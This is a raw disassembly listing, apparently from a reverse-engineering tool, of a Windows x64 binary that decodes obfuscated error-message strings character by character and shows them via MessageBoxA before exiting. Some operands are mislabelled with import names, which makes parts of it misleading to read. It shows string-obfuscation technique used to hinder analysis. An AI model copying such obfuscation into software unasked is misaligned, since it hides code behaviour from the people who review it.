movsx eax, byte [rbp + 0x220]
add eax, esi
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x220]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x221], dil
add r8, rsi
add r9, rbx
cmp r9, 0x132
jb 0x1400362dd
xor edi, edi
mov byte [rbp + 0x232], dil
mov byte [rbp + 0x2b0], 0x57
mov r9, r13
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b1], al
mov r9, r13
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b2], al
mov r9, r13
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b3], al
mov r9, r13
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b4], al
mov r9, r13
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b5], al
mov r9, r13
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b6], al
mov r9, r13
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b7], al
mov r9, r13
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b8], al
mov r9, r13
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2b9], al
mov r9, r13
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2ba], al
mov r9, r13
lea r8d, [rdi + 0xa]
mov dl, 0x51
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2bb], al
mov r9, r13
lea r8d, [rdi + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2bc], al
mov r9, r13
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2bd], al
mov r9, r13
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2be], al
mov r9, r13
lea r8d, [rdi + 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2bf], al
mov r9, r13
lea r8d, [rdi + 0xf]
mov dl, r14b
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c0], al
mov r9, r13
mov r8, r15
mov dl, 0x50
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c1], al
mov r9, r13
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c2], al
mov r9, r13
lea r8d, [rdi + 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c3], al
mov r9, r13
lea r8d, [rdi + 0x13]
mov dl, 0x63
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c4], al
mov r9, r13
lea r8d, [rdi + 0x14]
mov dl, 0x65
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c5], al
mov r9, r13
lea r8d, [rdi + 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c6], al
mov r9, r13
lea r8d, [rdi + 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2b0]
call fcn.1400379ec
mov byte [rbp + 0x2c7], al
xor eax, eax
mov byte [rbp + 0x2c8], al
mov r8d, edi
mov r9, r13
mov rbx, rsi
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x2b0]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x17]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x2b0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x2b1], dil
add r8, rbx
add r9, r13
cmp r9, 0x228
jb 0x1400365e3
xor eax, eax
mov byte [rbp + 0x2c8], al
xor r9d, r9d
lea r8, [rbp + 0x221]
lea rdx, [rbp + 0x2b1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x348], Ordinal_79
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x349], al
mov r9, rbx
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x34a], al
mov r9, rbx
lea r8d, [r13 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x34b], al
mov r9, rbx
lea r8d, [r13 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x34c], al
mov r9, rbx
lea r8d, [r13 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x34d], al
mov r9, rbx
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x34e], al
mov r9, rbx
lea r8d, [r13 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x34f], al
mov r9, rbx
lea r8d, [r13 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x350], al
mov r9, rbx
lea r8d, [r13 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x351], al
mov r9, rbx
lea r8d, [r13 + 8]
mov dl, r14b
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x352], al
mov r9, rbx
lea r8d, [r13 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x353], al
mov r9, rbx
lea r8d, [r13 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x354], al
mov r9, rbx
lea r8d, [r13 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x355], al
mov r9, rbx
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x356], al
mov r9, rbx
lea r8d, [r13 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x357], al
mov r9, rbx
lea r8d, [r13 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x358], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + 0x359], al
xor eax, eax
mov byte [rbp + 0x35a], al
mov r12d, eax
mov r9, rbx
mov r8, r12
mov dl, byte [rbp + r12 + 0x349]
lea rcx, [rbp + 0x348]
call fcn.1400371f8
mov byte [rbp + r12 + 0x349], al
add r12, r13
cmp r12, rbx
jb 0x14003685d
xor eax, eax
mov byte [rbp + 0x35a], al
mov byte [rbp + 0xa20], 0x78
lea r12d, [rax + 0x3d]
mov r9d, r12d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa21], al
mov r9d, r12d
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa22], al
mov r9d, r12d
lea r8d, [r12 - 0x3b]
mov dl, 0x76
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa23], al
mov r9d, r12d
lea r8d, [r12 - 0x3a]
mov dl, 0x61
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa24], al
mov r9d, r12d
lea r8d, [r12 - 0x39]
mov dl, 0x6c
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa25], al
mov r9d, r12d
lea r8d, [r12 - 0x38]
mov dl, 0x69
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa26], al
mov r9d, r12d
lea r8d, [r12 - 0x37]
mov dl, 0x64
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa27], al
mov r9d, r12d
lea r8d, [r12 - 0x36]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa28], al
mov r9d, r12d
lea r8d, [r12 - 0x35]
mov dl, 0x50
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa29], al
mov r9d, r12d
lea r8d, [r12 - 0x34]
mov dl, WSAStartup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa2a], al
mov r9d, r12d
lea r8d, [r12 - 0x33]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa2b], al
mov r9d, r12d
lea r8d, [r12 - 0x32]
mov dl, 0x63
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa2c], al
mov r9d, r12d
lea r8d, [r12 - 0x31]
mov dl, 0x65
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa2d], al
mov r9d, r12d
lea r8d, [r12 - 0x30]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa2e], al
mov r9d, r12d
lea r8d, [r12 - 0x2f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa2f], al
mov r9d, r12d
lea r8d, [r12 - 0x2e]
mov dl, 0x65
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa30], al
mov r9d, r12d
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa31], al
mov r9d, r12d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa32], al
mov r9d, r12d
lea r8d, [r12 - 0x2b]
mov dl, 0x44
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa33], al
mov r9d, r12d
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa34], al
mov r9d, r12d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa35], al
mov r9d, r12d
lea r8d, [r12 - 0x28]
mov dl, 0x61
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa36], al
mov r9d, r12d
lea r8d, [r12 - 0x27]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa37], al
mov r9d, r12d
lea r8d, [r12 - 0x26]
mov dl, 0x30
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa38], al
mov r9d, r12d
lea r8d, [r12 - 0x25]
mov dl, 0x78
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa39], al
mov r9d, r12d
lea r8d, [r12 - 0x24]
mov dl, 0x30
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa3a], al
mov r9d, r12d
lea r8d, [r12 - 0x23]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa3b], al
mov r9d, r12d
lea r8d, [r12 - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa3c], al
mov r9d, r12d
lea r8d, [r12 - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa3d], al
mov r9d, r12d
lea r8d, [r12 - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa3e], al
mov r9d, r12d
lea r8d, [r12 - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa3f], al
mov r9d, r12d
lea r8d, [r12 - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa40], al
mov r9d, r12d
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa41], al
mov r9d, r12d
lea r8d, [r12 - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa42], al
mov r9d, r12d
lea r8d, [r12 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa43], al
mov r9d, r12d
lea r8d, [r12 - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa44], al
mov r9d, r12d
lea r8d, [r12 - 0x19]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa45], al
mov r9d, r12d
lea r8d, [r12 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa46], al
mov r9d, r12d
lea r8d, [r12 - 0x17]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa47], al
mov r9d, r12d
lea r8d, [r12 - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa48], al
mov r9d, r12d
lea r8d, [r12 - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa49], al
mov r9d, r12d
lea r8d, [r12 - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa4a], al
mov r9d, r12d
lea r8d, [r12 - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa4b], al
mov r9d, r12d
lea r8d, [r12 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa4c], al
mov r9d, r12d
lea r8d, [r12 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa4d], al
mov r9d, r12d
lea r8d, [r12 - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa4e], al
mov r9d, r12d
lea r8d, [r12 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa4f], al
mov r9d, r12d
lea r8d, [r12 - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa50], al
mov r9d, r12d
lea r8d, [r12 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa51], al
mov r9d, r12d
lea r8d, [r12 - 0xc]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa52], al
mov r9d, r12d
lea r8d, [r12 - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa53], al
mov r9d, r12d
lea r8d, [r12 - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa54], al
mov r9d, r12d
lea r8d, [r12 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa55], al
mov r9d, r12d
lea r8d, [r12 - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa56], al
mov r9d, r12d
lea r8d, [r12 - 7]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa57], al
mov r9d, r12d
lea r8d, [r12 - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa58], al
mov r9d, r12d
lea r8d, [r12 - 5]
mov dl, r14b
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa59], al
mov r9d, r12d
lea r8d, [r12 - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa5a], al
mov r9d, r12d
lea r8d, [r12 - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa5b], al
mov r9d, r12d
lea r8d, [r12 - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa5c], al
mov r9d, r12d
lea r8d, [r12 - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + 0xa5d], al
xor eax, eax
mov byte [rbp + 0xa5e], al
xor ebx, ebx
mov edi, ebx
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa21]
lea rcx, [rbp + 0xa20]
call fcn.1400374cc
mov byte [rbp + rdi + 0xa21], al
add rdi, r13
cmp rdi, r12
jb 0x140036f4d
mov byte [rbp + 0xa5e], bl
xor r9d, r9d
lea r8, [rbp + 0x349]
lea rdx, [rbp + 0xa21]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.14009cf48
int3